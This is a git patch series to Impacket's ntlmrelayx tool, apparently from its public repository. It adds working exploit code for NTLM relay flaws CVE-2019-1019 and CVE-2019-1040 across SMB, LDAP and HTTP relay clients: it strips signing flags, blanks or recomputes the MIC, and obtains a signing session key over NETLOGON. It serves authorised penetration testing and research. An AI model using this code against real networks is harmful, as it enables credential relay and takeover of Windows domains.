b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index 0a9eab45..66e0f2c7 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -13,15 +13,22 @@ # This is the SMB client which initiates the connection to an # SMB server and relays the credentials to this server. +import logging import os -from struct import unpack +from binascii import unhexlify, hexlify +from struct import unpack, pack from socket import error as socketerror +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.dcerpc.v5 import nrpc +from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5.ndr import NULL from impacket import LOG from impacket.examples.ntlmrelayx.clients import ProtocolClient from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE -from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge +from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge, NTLMAuthChallengeResponse, \ + generateEncryptedSessionKey, hmac_md5 from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \ SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \ SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters @@ -45,9 +52,9 @@ def neg_session(self, negPacket=None): return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket) class MYSMB3(SMB3): - def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None): + def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None, preferredDialect=None): self.extendedSecurity = extendedSecurity - SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket)) + SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket), preferredDialect=preferredDialect) def negotiateSession(self, preferredDialect = None, negSessionResponse = None): # We DON'T want to sign @@ -128,8 +135,116 @@ def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True self.machineHashes = None self.sessionData = {} + self.negotiate_message = None + self.challenge_message = None + self.server_challenge = None + self.keepAliveHits = 1 + def netlogonSessionKey(self, authenticateMessageBlob): + # Here we will use netlogon to get the signing session key + logging.info("Connecting to %s NETLOGON service" % self.domainIp) + + respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) + authenticateMessage = NTLMAuthChallengeResponse() + authenticateMessage.fromString(respToken2['ResponseToken']) + _, machineAccount = self.serverConfig.machineAccount.split('/') + domainName = authenticateMessage['domain_name'].decode('utf-16le') + + try: + serverName = machineAccount[:len(machineAccount)-1] + except: + # We're in NTLMv1, not supported + return STATUS_ACCESS_DENIED + + stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp + + rpctransport = transport.DCERPCTransportFactory(stringBinding) + + if len(self.serverConfig.machineHashes) > 0: + lmhash, nthash = self.serverConfig.machineHashes.split(':') + else: + lmhash = '' + nthash = '' + + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash) + + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(nrpc.MSRPC_UUID_NRPC) + resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'12345678') + + serverChallenge = resp['ServerChallenge'] + + if self.serverConfig.machineHashes == '': + ntHash = None + else: + ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1]) + + sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash) + + ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) + + nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00', + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', + ppp, 0x600FFFFF) + + clientStoredCredential = pack('= (250 / KEEP_ALIVE_TIMER): @@ -172,7 +287,11 @@ def initConnection(self): LOG.error('SMBCLient error: %s' % str(e)) return False if packet[0:1] == b'\xfe': - smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) + preferredDialect = None + # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21 + if self.serverConfig.remove_target: + preferredDialect = SMB2_DIALECT_21 + smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet, preferredDialect=preferredDialect) else: # Answer is SMB packet, sticking to SMBv1 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) @@ -197,8 +316,12 @@ def sendNegotiate(self, negotiateMessage): else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) + self.negotiate_message = negotiateMessage + self.challenge_message = challenge.getData() + # Store the Challenge in our session data dict. It will be used by the SMB Proxy self.sessionData['CHALLENGE_MESSAGE'] = challenge + self.server_challenge = challenge['challenge'] return challenge @@ -350,10 +473,35 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): else: authData = authenticateMessageBlob + signingKey = None + if self.serverConfig.remove_target: + respToken2 = SPNEGO_NegTokenResp(authData) + authenticateMessageBlob = respToken2['ResponseToken'] + + errorCode, signingKey = self.netlogonSessionKey(authData) + + # Recalculate MIC + res = NTLMAuthChallengeResponse() + res.fromString(authenticateMessageBlob) + + new_auth_blob = hexlify(authenticateMessageBlob)[0:144] + b'00000000000000000000000000000000' + hexlify(authenticateMessageBlob)[176:] + relay_MIC = hmac_md5(signingKey, self.negotiate_message + self.challenge_message + unhexlify(new_auth_blob)) + res['MIC'] = relay_MIC + authData = res.getData() + + respToken2 = SPNEGO_NegTokenResp() + respToken2['ResponseToken'] = authData + authData = respToken2.getData() + if self.session.getDialect() == SMB_DIALECT: token, errorCode = self.sendAuthv1(authData, serverChallenge) else: token, errorCode = self.sendAuthv2(authData, serverChallenge) + + if signingKey: + logging.info("Enabling session signing") + self.session._SMBConnection.enable_signing(signingKey) + return token, errorCode def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index e6ce2e0d..153514f3 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -266,6 +266,15 @@ def do_ntlm_negotiate(self, token, proxy): if not self.client.initConnection(): return False self.challengeMessage = self.client.sendNegotiate(token) + + # Remove target NetBIOS field from the NTLMSSP_CHALLENGE + if self.server.config.remove_target: + av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields']) + del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] + self.challengeMessage['TargetInfoFields'] = av_pairs.getData() + self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData()) + self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData()) + # Check for errors if self.challengeMessage is False: return False diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 481985dd..d6cae116 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -35,13 +35,13 @@ def __init__(self): self.encoding = None self.ipv6 = False - #WPAD options + # WPAD options self.serve_wpad = False self.wpad_host = None self.wpad_auth_num = 0 self.smb2support = False - #WPAD options + # WPAD options self.serve_wpad = False self.wpad_host = None self.wpad_auth_num = 0 @@ -70,6 +70,8 @@ def __init__(self): self.runSocks = False self.socksServer = None + # HTTP options + self.remove_target = False def setSMB2Support(self, value): self.smb2support = value @@ -79,7 +81,7 @@ def setProtocolClients(self, clients): def setInterfaceIp(self, ip): self.interfaceIp = ip - + def setListeningPort(self, port): self.listeningPort = port @@ -114,10 +116,10 @@ def setAttacks(self, attacks): def setLootdir(self, lootdir): self.lootdir = lootdir - def setRedirectHost(self,redirecthost): + def setRedirectHost(self, redirecthost): self.redirecthost = redirecthost - def setDomainAccount( self, machineAccount, machineHashes, domainIp): + def setDomainAccount(self, machineAccount, machineHashes, domainIp): self.machineAccount = machineAccount self.machineHashes = machineHashes self.domainIp = domainIp @@ -154,3 +156,6 @@ def setWpadOptions(self, wpad_host, wpad_auth_num): self.serve_wpad = True self.wpad_host = wpad_host self.wpad_auth_num = wpad_auth_num + + def setTargetRemoval(self, remove_target): + self.remove_target = remove_target diff --git a/impacket/smb3.py b/impacket/smb3.py index 6b945c59..1a2c912a 100644 --- a/impacket/smb3.py +++ b/impacket/smb3.py @@ -1697,3 +1697,8 @@ def open_andx(self, tid, fileName, open_mode, desired_access): fileId = self.create(tid,fileName,desired_access, open_mode, FILE_NON_DIRECTORY_FILE, open_mode, 0) return fileId, 0, 0, 0, 0, 0, 0, 0, 0 + + def enable_signing(self, signingKey): + self._Session['SessionKey'] = signingKey + self._Session['SigningActivated'] = True + self._Session['SigningRequired'] = True From cb311ef2660e4c0675fa7b5bf68997dc0461b7ce Mon Sep 17 00:00:00 2001 From: asolino Date: Thu, 13 Jun 2019 18:24:33 -0300 Subject: [PATCH 25/45] Add SMBv1 support + MIC Calculations improvements - Changed enable_signing for set_session_key as previously used - MIC calculations are stored using the original type3 message, in order to avoid changes when marshaling back again using impacket. --- impacket/examples/ntlmrelayx/clients/smbrelayclient.py | 10 ++++------ impacket/smb.py | 2 ++ impacket/smb3.py | 2 +- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index 66e0f2c7..53e00ec7 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -484,13 +484,11 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): res = NTLMAuthChallengeResponse() res.fromString(authenticateMessageBlob) - new_auth_blob = hexlify(authenticateMessageBlob)[0:144] + b'00000000000000000000000000000000' + hexlify(authenticateMessageBlob)[176:] - relay_MIC = hmac_md5(signingKey, self.negotiate_message + self.challenge_message + unhexlify(new_auth_blob)) - res['MIC'] = relay_MIC - authData = res.getData() + new_auth_blob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:] + relay_MIC = hmac_md5(signingKey, self.negotiate_message + self.challenge_message + new_auth_blob) respToken2 = SPNEGO_NegTokenResp() - respToken2['ResponseToken'] = authData + respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:] authData = respToken2.getData() if self.session.getDialect() == SMB_DIALECT: @@ -500,7 +498,7 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if signingKey: logging.info("Enabling session signing") - self.session._SMBConnection.enable_signing(signingKey) + self.session._SMBConnection.set_session_key(signingKey) return token, errorCode diff --git a/impacket/smb.py b/impacket/smb.py index ccf564b4..32ce575b 100644 --- a/impacket/smb.py +++ b/impacket/smb.py @@ -2771,6 +2771,8 @@ def get_session_key(self): return self._SigningSessionKey def set_session_key(self, key): + self._SignatureEnabled = True + self._SignSequenceNumber = 2 self._SigningSessionKey = key def get_encryption_key(self): diff --git a/impacket/smb3.py b/impacket/smb3.py index 1a2c912a..af5b3952 100644 --- a/impacket/smb3.py +++ b/impacket/smb3.py @@ -1698,7 +1698,7 @@ def open_andx(self, tid, fileName, open_mode, desired_access): fileId = self.create(tid,fileName,desired_access, open_mode, FILE_NON_DIRECTORY_FILE, open_mode, 0) return fileId, 0, 0, 0, 0, 0, 0, 0, 0 - def enable_signing(self, signingKey): + def set_session_key(self, signingKey): self._Session['SessionKey'] = signingKey self._Session['SigningActivated'] = True self._Session['SigningRequired'] = True From 2e9dc77d7a74329c318b5bf9add647600752c967 Mon Sep 17 00:00:00 2001 From: asolino Date: Thu, 13 Jun 2019 19:10:22 -0300 Subject: [PATCH 26/45] Minor cosmetic changes and code attribution --- examples/ntlmrelayx.py | 2 +- .../ntlmrelayx/clients/smbrelayclient.py | 21 ++++++++++--------- impacket/examples/ntlmrelayx/utils/config.py | 2 ++ 3 files changed, 14 insertions(+), 11 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index ac4cdfc8..6390b146 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -267,7 +267,7 @@ def stop_servers(threads): help='Domain machine hashes, format is LMHASH:NTHASH') httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') httpoptions.add_argument('-remove-target', action='store_true', default=False, - help='Try to remove the target in the challenge message (in case CVE-2019-1019 is not installed)') + help='Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)') #LDAP options ldapoptions = parser.add_argument_group("LDAP client options") diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index 53e00ec7..43cae8ae 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -135,9 +135,9 @@ def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True self.machineHashes = None self.sessionData = {} - self.negotiate_message = None - self.challenge_message = None - self.server_challenge = None + self.negotiateMessage = None + self.challengeMessage = None + self.serverChallenge = None self.keepAliveHits = 1 @@ -207,8 +207,7 @@ def netlogonSessionKey(self, authenticateMessageBlob): request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[ 'user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = '' - request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = self.server_challenge - import base64 + request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = self.serverChallenge request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman'] @@ -316,12 +315,12 @@ def sendNegotiate(self, negotiateMessage): else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) - self.negotiate_message = negotiateMessage - self.challenge_message = challenge.getData() + self.negotiateMessage = negotiateMessage + self.challengeMessage = challenge.getData() # Store the Challenge in our session data dict. It will be used by the SMB Proxy self.sessionData['CHALLENGE_MESSAGE'] = challenge - self.server_challenge = challenge['challenge'] + self.serverChallenge = challenge['challenge'] return challenge @@ -475,6 +474,8 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): signingKey = None if self.serverConfig.remove_target: + # Trying to exploit CVE-2019-1019 + # Discovery and Implementation by @simakov_marina respToken2 = SPNEGO_NegTokenResp(authData) authenticateMessageBlob = respToken2['ResponseToken'] @@ -484,8 +485,8 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): res = NTLMAuthChallengeResponse() res.fromString(authenticateMessageBlob) - new_auth_blob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:] - relay_MIC = hmac_md5(signingKey, self.negotiate_message + self.challenge_message + new_auth_blob) + newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:] + relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob) respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:] diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index d6cae116..8e29b20b 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -120,6 +120,8 @@ def setRedirectHost(self, redirecthost): self.redirecthost = redirecthost def setDomainAccount(self, machineAccount, machineHashes, domainIp): + if machineAccount is None or machineHashes is None or domainIp is None: + raise Exception("You must specify machine-account/hashes/domain all together!") self.machineAccount = machineAccount self.machineHashes = machineHashes self.domainIp = domainIp From e67019aa425bab01725788db0e8e51f011753026 Mon Sep 17 00:00:00 2001 From: Dirkjan Mollema Date: Thu, 13 Jun 2019 21:36:13 +0200 Subject: [PATCH 27/45] Added POC code for CVE-2019-1040 --- examples/ntlmrelayx.py | 3 +- .../ntlmrelayx/clients/ldaprelayclient.py | 32 ++++++++++++++-- .../ntlmrelayx/clients/smbrelayclient.py | 38 +++++++++++++++++-- .../ntlmrelayx/servers/smbrelayserver.py | 6 ++- impacket/examples/ntlmrelayx/utils/config.py | 4 +- 5 files changed, 71 insertions(+), 12 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 6390b146..b6821dcd 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -153,11 +153,11 @@ def start_servers(options, threads): c.setWpadOptions(options.wpad_host, options.wpad_auth_num) c.setSMB2Support(options.smb2support) c.setInterfaceIp(options.interface_ip) + c.setExploitOptions(options.remove_mic, options.remove_target) if server is HTTPRelayServer: c.setListeningPort(options.http_port) - c.setTargetRemoval(options.remove_target) c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain) elif server is SMBRelayServer: c.setListeningPort(options.smb_port) @@ -242,6 +242,7 @@ def stop_servers(threads): parser.add_argument('-wa','--wpad-auth-num', action='store',help='Prompt for authentication N times for clients without MS16-077 installed ' 'before serving a WPAD file.') parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4') + parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)') #SMB arguments smboptions = parser.add_argument_group("SMB client options") diff --git a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py index d61cb398..465bcc05 100644 --- a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py @@ -29,7 +29,7 @@ from impacket.examples.ntlmrelayx.clients import ProtocolClient from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED -from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN +from impacket.ntlm import NTLMAuthChallenge, NTLMSSP_AV_FLAGS, AV_PAIRS, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION from impacket.spnego import SPNEGO_NegTokenResp PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"] @@ -61,13 +61,19 @@ def initConnection(self): def sendNegotiate(self, negotiateMessage): # Remove the message signing flag - # For LDAP this is required otherwise it triggers LDAP signing + # For SMB->LDAP this is required otherwise it triggers LDAP signing # Note that this code is commented out because changing flags breaks the signature # unless the client uses a non-standard implementation of NTLM negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) - #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN + # When exploiting CVE-2019-1040, remove flags + if self.serverConfig.remove_mic: + if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: + negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN + if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: + negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN + self.negotiateMessage = negoMessage.getData() # Warn if the relayed target requests signing, which will break our attack @@ -89,7 +95,6 @@ def sendNegotiate(self, negotiateMessage): request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] - if result['result'] == RESULT_SUCCESS: challenge = NTLMAuthChallenge() challenge.fromString(result['server_creds']) @@ -107,6 +112,25 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): token = respToken2['ResponseToken'] else: token = authenticateMessageBlob + + authMessage = NTLMAuthChallengeResponse() + authMessage.fromString(token) + # When exploiting CVE-2019-1040, remove flags + if self.serverConfig.remove_mic: + if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: + authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN + if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: + authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN + if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: + authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH + if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: + authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION + authMessage['MIC'] = b'' + authMessage['MICLen'] = 0 + authMessage['Version'] = b'' + authMessage['VersionLen'] = 0 + token = authMessage.getData() + with self.session.connection_lock: self.authenticateMessageBlob = token request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index 43cae8ae..009eb4fa 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -37,6 +37,7 @@ SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \ SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response from impacket.smbconnection import SMBConnection, SMB_DIALECT +from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech from impacket.dcerpc.v5.transport import SMBTransport from impacket.dcerpc.v5 import scmr @@ -304,10 +305,20 @@ def setUid(self,uid): self._uid = uid def sendNegotiate(self, negotiateMessage): - negotiate = NTLMAuthNegotiate() - negotiate.fromString(negotiateMessage) - #Remove the signing flag - negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN + negoMessage = NTLMAuthNegotiate() + negoMessage.fromString(negotiateMessage) + # When exploiting CVE-2019-1040, remove flags + if self.serverConfig.remove_mic: + if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: + negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN + if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: + negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN + if negoMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: + negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH + if negoMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: + negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION + + negotiateMessage = negoMessage.getData() challenge = NTLMAuthChallenge() if self.session.getDialect() == SMB_DIALECT: @@ -464,6 +475,25 @@ def sendStandardSecurityAuth(self, sessionSetupData): return clientResponse, errorCode def sendAuth(self, authenticateMessageBlob, serverChallenge=None): + + authMessage = NTLMAuthChallengeResponse() + authMessage.fromString(authenticateMessageBlob) + # When exploiting CVE-2019-1040, remove flags + if self.serverConfig.remove_mic: + if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: + authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN + if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: + authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN + if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: + authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH + if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: + authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION + authMessage['MIC'] = b'' + authMessage['MICLen'] = 0 + authMessage['Version'] = b'' + authMessage['VersionLen'] = 0 + authenticateMessageBlob = authMessage.getData() + if unpack('B', authenticateMessageBlob[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to wrap the NTLMSSP into SPNEGO respToken2 = SPNEGO_NegTokenResp() diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index 2a9dc7f4..f642f3be 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -255,7 +255,8 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket): client = connData['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) - except Exception: + except Exception as e: + LOG.debug("Exception:", exc_info=True) # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server @@ -298,12 +299,13 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket): self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() + if rawNTLM is True: respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = securityBlob securityBlob = respToken2.getData() - clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob, + clientResponse, errorCode = self.do_ntlm_auth(client, token, connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 8e29b20b..de0c3cea 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -34,6 +34,7 @@ def __init__(self): self.randomtargets = False self.encoding = None self.ipv6 = False + self.remove_mic = False # WPAD options self.serve_wpad = False @@ -159,5 +160,6 @@ def setWpadOptions(self, wpad_host, wpad_auth_num): self.wpad_host = wpad_host self.wpad_auth_num = wpad_auth_num - def setTargetRemoval(self, remove_target): + def setExploitOptions(self, remove_mic, remove_target): + self.remove_mic = remove_mic self.remove_target = remove_target From 25f02602eee6d923a65127b1e80cb592b8cac32d Mon Sep 17 00:00:00 2001 From: Dirkjan Mollema Date: Sat, 15 Jun 2019 11:37:40 +0200 Subject: [PATCH 28/45] Fix bug in CVE-2019-1019 ntlmrelayx code --- impacket/examples/ntlmrelayx/utils/config.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index de0c3cea..844c7092 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -121,6 +121,9 @@ def setRedirectHost(self, redirecthost): self.redirecthost = redirecthost def setDomainAccount(self, machineAccount, machineHashes, domainIp): + # Don't set this if we're not exploiting it + if not self.remove_target: + return if machineAccount is None or machineHashes is None or domainIp is None: raise Exception("You must specify machine-account/hashes/domain all together!") self.machineAccount = machineAccount From 24102b40d98216270c1f0c3c7f8a5db4040d03a9 Mon Sep 17 00:00:00 2001 From: fferrari Date: Wed, 19 Jun 2019 19:52:46 -0300 Subject: [PATCH 29/45] Making 5257b9d changes to dtypes.STR work in Py 2 & 3 Also handling raw buffers in dtypes.STR.__getitem__() --- impacket/dcerpc/v5/dtypes.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/impacket/dcerpc/v5/dtypes.py b/impacket/dcerpc/v5/dtypes.py index bab80ced..931269d5 100644 --- a/impacket/dcerpc/v5/dtypes.py +++ b/impacket/dcerpc/v5/dtypes.py @@ -12,6 +12,7 @@ from __future__ import division from __future__ import print_function from struct import pack +from six import binary_type from impacket.dcerpc.v5.ndr import NDRULONG, NDRUHYPER, NDRSHORT, NDRLONG, NDRPOINTER, NDRUniConformantArray, \ NDRUniFixedArray, NDR, NDRHYPER, NDRSMALL, NDRPOINTERNULL, NDRSTRUCT, \ @@ -105,9 +106,10 @@ def dump(self, msg = None, indent = 0): def __setitem__(self, key, value): if key == 'Data': try: - if not isinstance(value, bytes): + if not isinstance(value, binary_type): self.fields[key] = value.encode('utf-8') else: + # if it is a binary type (str 